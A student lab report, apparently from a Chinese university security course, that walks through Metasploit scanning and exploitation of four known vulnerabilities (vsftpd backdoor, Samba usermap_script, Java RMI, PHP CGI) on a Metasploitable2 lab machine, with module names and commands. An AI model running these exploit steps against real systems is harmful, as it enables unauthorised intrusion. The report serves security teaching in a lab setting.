20232422 2025-2026-1 《网络与系统攻防技术》实验六实验报告

news/2025/11/22 20:37:24/文章来源:https://www.cnblogs.com/Lauren0121/p/19239719

20232422 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1.实验内容

本次实验是Metasploit工具的实战应用,先通过主机发现、端口扫描完成前期信息搜集,再针对Metasploitable2靶机的4个已知漏洞(Vsftpd后门漏洞、Samba MS-RPC命令注入漏洞、Java RMI Server命令执行漏洞、PHP CGI参数注入漏洞),分别运用Metasploit对应模块完成漏洞利用,掌握渗透测试流程和工具操作。

2.实验过程

2.1 前期准备

  • 确认靶机IP:靶机登录后执行ifconfig,确认靶机IP为192.168.216.133。
    98446e3b14b1b99459ee88a4d90bbae2

2.2 前期渗透

2.2.1 主机发现(arp_sweep模块)

  • 启动Metasploit:Kali终端输入msfconsole
  • 选择模块:输入search arp_sweep,执行use auxiliary/scanner/discovery/arp_sweep
  • 配置参数:输入set RHOSTS 192.168.216.0/24,执行run
  • 结果:成功扫描到靶机192.168.216.133。
    9b5b5ee2a7c8b582ffb57f20c47cde70
    077e063969cab8920fbbfa242299ac81

2.2.2 端口扫描(tcp模块)

  • 选择模块:输入search portscan/tcp,执行use auxiliary/scanner/portscan/tcp

  • 配置参数:输入set RHOSTS 192.168.216.133,执行run
    01896614a45dc92ca76a7796cf2a56cd

  • 结果:扫描到靶机开放21、80、139、1099等目标端口。
    41656aecd77c6d1b660404a433c37cd3

2.2.3 系统版本扫描

  • ,执行nmap -sV 192.168.216.133
  • 结果:获取靶机系统版本及开放服务版本信息。

2.3 漏洞利用实战

2.3.1 Vsftpd源码包后门漏洞(21端口)

  • 选择模块:执行use exploit/unix/ftp/vsftpd_234_backdoor
  • 配置参数:输入set RHOST 192.168.216.133
  • 发起攻击:执行exploit,成功建立会话。
  • 验证命令:依次执行uname -apwdid,均显示正常结果。
    986a3865172d6432c101c1131fb4eafb

2.3.2 Samba MS-RPC Shell命令注入漏洞(139端口)

  • 选择模块:执行use exploit/multi/samba/usermap_script
  • 配置参数:输入set RHOST 192.168.216.133
  • 发起攻击:执行exploit,成功进入命令行。
  • 验证:执行uname -a,显示靶机系统信息。
    bba02194bcb20cda9b8e6476f9e30457

2.3.3 Java RMI SERVER命令执行漏洞(1099端口)

  • 确认端口:执行nmap -p 1099 192.168.216.133,确认端口开放。
    434c602cbb2ca8b16438b6b753492330

  • 选择模块:执行use exploit/multi/misc/java_rmi_server

  • 配置参数:输入set RHOST 192.168.216.133

  • 发起攻击:执行exploit,成功创建会话(假设会话ID为1)。

  • 进入会话:执行sessions -i 1,输入shell,执行whoami验证权限。
    0733f898763f031bc3374a6163c33ce4

2.3.4 PHP CGI参数执行注入漏洞(80端口)

  • 选择模块:执行use exploit/multi/http/php_cgi_arg_injection
  • 配置参数:输入set RHOST 192.168.216.133
  • 发起攻击:执行exploit,成功进入命令行。
  • 验证:执行lswhoami,显示正常结果。
    3786aa622a2eded96303dc6b19734c97

3.问题及解决方案

  • 问题1:Kali无法ping通靶机,主机发现扫描不到192.168.216.133
    解决方案:关闭Kali防火墙,重启靶机重新获取IP,再次扫描成功。
  • 问题2:执行Java RMI漏洞利用后,输入sessions -i未显示会话
    解决方案:重启Metasploit,重新配置参数发起攻击,成功创建会话。
  • 问题3:msfconsole权限不足
    解决方案:使用'sudo msfconsole'

4.学习感悟、思考等

本次实验我掌握了 Metasploit 核心操作,从靶机信息收集到漏洞利用,参数配置和漏洞原理认知缺一不可。发现靶机漏洞多因为没有更安全补丁、输入校验缺失。而且我意识到仅会Metasploit等工具是不够的,后续还有学习深究漏洞底层逻辑,提升技术水平。

参考资料

  • Metasploitable2 Exploitability Guide
  • Metasploit模块使用官方文档

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/973402.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

毕业论文写作全流程:从选题到答辩的完整指南

毕业论文写作挑战重重,本文提供从选题到答辩的完整指南。选题与开题准备部分介绍选题原则方法、开题报告撰写及文献检索整理技巧;论文写作核心流程涵盖大纲搭建、摘要引言结论撰写、正文论证及参考文献规范;修改、降…

html空间如何添加滚动条

在HTML空间(通常指的是一个div元素)中添加滚动条,可以通过CSS样式来实现。以下是一个简单的示例,展示了如何为一个div元素添加垂直滚动条:HTML结构: <!DOCTYPE html> <html lang="en"> &l…

实用指南:Jenkins 持续集成与部署指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2025年11月DR耐油橡胶热缩管,氟橡胶热缩管,防滑花纹热缩管厂家最新推荐:耐老化性能实测榜单

2025年11月DR耐油橡胶热缩管,氟橡胶热缩管,防滑花纹热缩管厂家最新推荐:耐老化性能实测榜单在热缩管市场中,DR耐油橡胶热缩管、氟橡胶热缩管以及防滑花纹热缩管等产品凭借各自独特的性能,在众多领域发挥着重要作用…

2025年11月DR耐油橡胶热缩管,线缆标识热缩管,防滑花纹热缩管厂商推荐:耐油等级与使用寿命解析

2025年11月DR耐油橡胶热缩管,线缆标识热缩管,防滑花纹热缩管厂商推荐:耐油等级与使用寿命解析在众多热缩管厂商中,广州容信塑胶制品有限公司是一家值得关注的企业。该公司成立于2009年1月,是一家专业的热缩套管、…

[游记]CSP 2025

和一位,能不能比去年考得好啊 /ll Day -114514 以领先分数线 \(\Theta(1)\) 分的优势苟进了复赛。 Day 10.28 csp 前最后一场模拟赛,获得了极低的分数,太有信心了! 深度思考一整场 1log 怎么做,结果是不知道经典 …

11.22题解

A.栞 考虑面积公式 \(S = \frac{1}{2} ab \sin C\),则 \(4S^2 = ab(1 - \cos^2C)\),则我固定 ab 的情况下,我要 \(\sinC\) 最大,也就是 cos 绝对值最小。 考虑定序,若令 \(a > b > c\) 那么 C 一定是锐角,…

电梯调度问题的三次迭代

电梯调度问题的三次迭代 目录第一章 引言第二章 设计与分析第三章 踩坑心得第四章 改进建议第五章 总结第一章 引言 在现代城市生活中,电梯作为垂直交通的核心工具,其运行效率直接影响着人们的出行体验与楼宇的整体运…

【minimap2】一定要注意组合参数

当我需要minimap2在输出sam文件中包含secondary alignment时,我认为默认的输出开关就应该是开着的,因此没有设置--secondary=yes,使用以下参数:minimap2 -ax sr -t $threads ${INDEX} ${fastq_dictory}/${prefix}_…

3-数据库

3.数据库 2025.11.13 Day14 3.1 一条SQL查询语句是如何执行的? 连接器: 连接器负责跟客户端建立连接、获取权限、维持和管理连接。 查询缓存: MySQL 拿到一个查询请求后,会先到查询缓存看看,之前是不是执行过这条语…

4-java

4.java 2025.11.20 DAY23 4.1 String、StringBuffer、StringBuilder的区别 在 Java 中,String、StringBuilder 和 StringBuffer 都是用于处理字符序列的类。它们最核心的区别在于可变性、线程安全和性能。 1. 核心区别…

重构高阶智驾:天瞳威视以国产芯片,解锁Robotaxi平民化路径 - 实践

重构高阶智驾:天瞳威视以国产芯片,解锁Robotaxi平民化路径 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: &quo…

1-计算机网络

1.计算机网络 2025.10.29 DAY01 1.1 介绍一下TCP/IP模型和OSI模型的区别 OSI:物联网叔会使用 TCP/IP:接网叔用 OSI模型是国际标准化组织(ISO)制定的一个用于计算机或通信系统间互联的标准体系,它将网络通信精细地…

实用指南:MCU定点计算深度解析:原理、技巧与实现

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2-操作系统

2.计算机组成原理 2025.11.07 DAY10 2.1 进程和线程之间有什么区别 线程是程序执行的最小单位,线程是进程的子任务,是进程内的执行单元。 一个进程至少有一个线程,一个进程可以运行多个线程,这些线程共享同一块内存…

html空间如何添加图片

在HTML空间中添加图片,可以通过以下两种方法: 内联方式在HTML代码中,使用<img>标签插入图片。例如,要插入一张名为“example.jpg”的图片,且该图片位于与HTML文件相同的目录下,可以使用以下代码:<img …

html空间可以设置边框吗

HTML空间可以设置边框。在HTML中,可以使用CSS样式来设置边框。例如,<div style="border: 1px solid black;">这段代码就会给<div>元素设置一个黑色实线边框。同样地,也可以使用其他边框样式、…

【SpringBoot从初学者到专家的成长23】利用SpringBoot构建高效的Web应用-拥抱你的第一个SpringBoot项目

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

PyCharm,Run Configurations,Python interpreter下拉框会显示哪些地方的python.exe

PyCharm,Run Configurations,Python interpreter 下拉框会显示哪些地方的 python.exe 在 PyCharm 中,当你配置 Run Configurations 时,Python Interpreter 下拉框会列出所有可用的 Python 解释器,这些解释器通常来…

Deepseek大模型结合Chrome搜索爬取2025AI投资趋势数据 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …